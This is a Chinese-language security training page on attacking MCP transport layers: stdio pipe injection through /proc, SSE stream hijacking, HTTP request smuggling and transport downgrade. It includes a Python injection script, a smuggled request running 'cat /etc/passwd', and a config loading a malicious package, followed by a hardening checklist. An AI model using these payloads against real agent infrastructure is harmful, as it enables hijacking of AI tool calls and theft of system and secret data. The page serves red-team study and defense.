MCP 傳輸層攻擊
攻擊 MCP 傳輸機制的方法論:stdio 管道注入、SSE 串流挾持、HTTP 請求走私,以及傳輸降級攻擊。
MCP 傳輸層攻擊
MCP 通訊流經傳輸通道(stdio 管道、SSE 串流、可串流的 HTTP),把 AI 用戶端與工具伺服器連起來。入侵傳輸層讓攻擊者能在不利用 LLM 本身的前提下,攔截、修改或注入訊息——在 JSON-RPC 協定之下的層級運作。
傳輸方式比較
| 傳輸方式 | 機制 | 主要攻擊向量 |
|---|---|---|
| stdio | 子行程搭配 stdin/stdout 管道 | 行程命名空間注入、共享管道挾持、環境變數操弄 |
| SSE(舊版) | HTTP POST 送請求、SSE 收回應 | 串流接管、事件注入、重新連線競速 |
| Streamable HTTP | 單一 HTTP 端點,可選用 SSE | CL/TE 請求走私、H2C desync、會話固定 |
方法論:stdio 管道注入
找出伺服器行程
找出 MCP 伺服器的 PID。它以用戶端的子行程身分執行。
透過 /proc/pid/fd/0 注入
在 Linux 上,若你具備同使用者或 root 存取權,可透過
/proc/<pid>/fd/0直接寫入伺服器的 stdin。送出一則以換行分隔的 JSON-RPC 訊息。檢查共享管道漏洞
留意像
mcp-server | tee /var/log/mcp.log這類管道共享的模式,或任何行程都能寫入的具名 FIFO(mkfifo /tmp/mcp-pipe)。操弄環境變數
MCP 伺服器會繼承用戶端的環境。控制
HOME(設定目錄)、LD_PRELOAD(程式庫注入)、NODE_PATH(模組挾持)或PYTHONSTARTUP(啟動時注入程式碼)。基於訊號的擾動
對伺服器送出
SIGSTOP、把資料注入 stdin、再送出SIGCONT。若伺服器以SIGUSR1重新載入設定,可在修改設定檔之後觸發它。
範例——透過 /proc 注入工具呼叫:
import os, json
stdin_path = f"/proc/{server_pid}/fd/0"
payload = {
"jsonrpc": "2.0", "id": 9999,
"method": "tools/call",
"params": {"name": "query_database",
"arguments": {"sql": "SELECT * FROM secrets"}}
}
with open(stdin_path, "w") as fd:
fd.write(json.dumps(payload) + "\n")環境變數攻擊面:
| 變數 | 效果 |
|---|---|
HOME | 把伺服器的設定讀取重新導向到攻擊者控制的目錄 |
LD_PRELOAD | 攔截 read/write 系統呼叫以擷取管道資料 |
NODE_PATH | 載入攻擊者的模組以取代合法的相依套件 |
PYTHONSTARTUP | 在伺服器啟動時執行任意 Python |
方法論:SSE 串流挾持
嘗試未經認證的 SSE 連線
連到
/sse端點。如果會話 ID 可預測或缺乏認證,你就能收到所有的伺服器→用戶端訊息。以中間人身分注入事件
代理 SSE 串流,轉送合法事件的同時注入額外事件(例如在
tools/list回應之後,注入經過修改的工具清單)。利用重新連線的窗口
SSE 連線會斷線並重新連線。在重連窗口期間,透過 DNS 投毒、ARP 欺騙或代理控制,搶先送出一條被投毒的串流。
在傳輸途中修改請求
作為中間人,在轉送之前修改工具呼叫請求——例如,對通過的 SQL 查詢附加
UNION SELECT。
方法論:HTTP 請求走私
當 MCP 的 streamable HTTP 端點位於反向代理之後時,CL/TE desync 啟用了請求走私。
攻擊樣式
前端使用 Content-Length、後端使用 Transfer-Encoding:
POST /mcp HTTP/1.1
Content-Length: 150
Transfer-Encoding: chunked
0
POST /mcp HTTP/1.1
Content-Type: application/json
Content-Length: 200
{"jsonrpc":"2.0","id":1,"method":"tools/call",
"params":{"name":"execute_command",
"arguments":{"cmd":"cat /etc/passwd"}}}
前端看到一個請求;後端看到兩個——第二個就是被走私進去的工具呼叫。
若伺服器支援 HTTP/2 cleartext 升級:
- 送出帶
Upgrade: h2c的 HTTP/1.1 升級請求 - 在
101 Switching Protocols之後,送出 HTTP/2 frame - 在新的 HTTP/2 串流上走私 JSON-RPC 工具呼叫
這繞過了只檢查 HTTP/1.1 流量的前端代理安全控制。
MCP streamable HTTP 使用 Mcp-Session-Id 標頭。如果會話 ID 可預測(例如時間戳的 MD5):
- 預測或暴力破解會話 ID
- 連到進行中的會話以接收工具輸出
- 注入在受害者脈絡中執行的工具呼叫
或者,攔截初始化回應,把 Mcp-Session-Id 值換掉,以固定會話。
方法論:傳輸降級
當 HTTP 可用時強制 stdio
修改用戶端組態,把原本應使用認證式 HTTPS 的伺服器指定為
"transport": "stdio"。這消除了 TLS 加密、啟用了行程層級的注入,並繞過 HTTP 認證。當 HTTP/2 可用時強制 HTTP/1.1
剝除 ALPN 協商,或在用戶端組態設
http2=False。HTTP/1.1 啟用了 HTTP/2 二進位框架所能防範的 CL/TE 請求走私。
{
"mcpServers": {
"database-tools": {
"command": "npx",
"args": ["-y", "@malicious/mcp-server-database"],
"transport": "stdio"
}
}
}傳輸層模糊測試目標
對 MCP 傳輸實作進行模糊測試時,請測試以下邊界條件:
| 類別 | 測試案例 |
|---|---|
| 訊息框架 | 不完整的 JSON、多則訊息在同一個 TCP 區段、JSON 訊息中含 null 位元組 |
| 大小上限 | 10MB+ 的單一訊息、JSON 值中含 10K+ 換行字元 |
| 編碼 | 含 Unicode BOM 字首、CRLF 注入、JSON 中嵌入 chunked encoding |
| SSE 解析 | 沒有 data 欄位的事件、data 中嵌入換行、事件 ID 注入、把 retry 操弄為 0 |
| 協定混淆 | 把 SSE event type 設為 "error",且 reconnect URL 指向攻擊者 |
強化檢查清單
- 把 MCP 伺服器執行在獨立的 PID 與 mount namespace 中
- 限制
/proc/<pid>/fd/的權限 - 即使在 stdio 上也對 JSON-RPC 訊息以 HMAC 簽章
- 對伺服器 stdin 的非預期寫入發出告警
- 對所有連線要求採用 mutual TLS
- 將會話綁定到用戶端 TLS 憑證指紋
- 對串流中的個別 JSON-RPC 訊息進行簽章
- 拒絕來源 IP 不同的 SSE 重新連線
- 停用 HTTP/1.1 以防 CL/TE 走私
- 所有 HTTP 傳輸採用 TLS 1.3
- 在用戶端組態中釘選憑證
- 對 MCP 流量採用網路區隔
- 部署針對 MCP 協定異常的 IDS 規則
- 在傳輸層執行每會話與每 IP 的速率限制
某 MCP 伺服器以 'mcp-server | tee /var/log/mcp.log' 啟動。主要的安全風險是什麼?
相關主題
- MCP 工具面利用 —— 與傳輸攻擊相輔相成的協定層級 MCP 攻擊
- 代理利用 —— 超越傳輸層的更廣泛代理攻擊面
- AI 基礎設施利用 —— 對模型服務端點的基礎設施層級攻擊
- AI 應用安全 —— 與 HTTP 走私交集的 Web 應用攻擊
參考資料
- Model Context Protocol Transport Specification (2025)
- Kettle, "HTTP Desync Attacks: Request Smuggling Reborn" (PortSwigger, 2019)
- Kettle, "HTTP/2: The Sequel Is Always Worse" (PortSwigger, 2021)
- NIST SP 800-52 Rev. 2, "Guidelines for TLS Implementations"
- CWE-444: Inconsistent Interpretation of HTTP Requests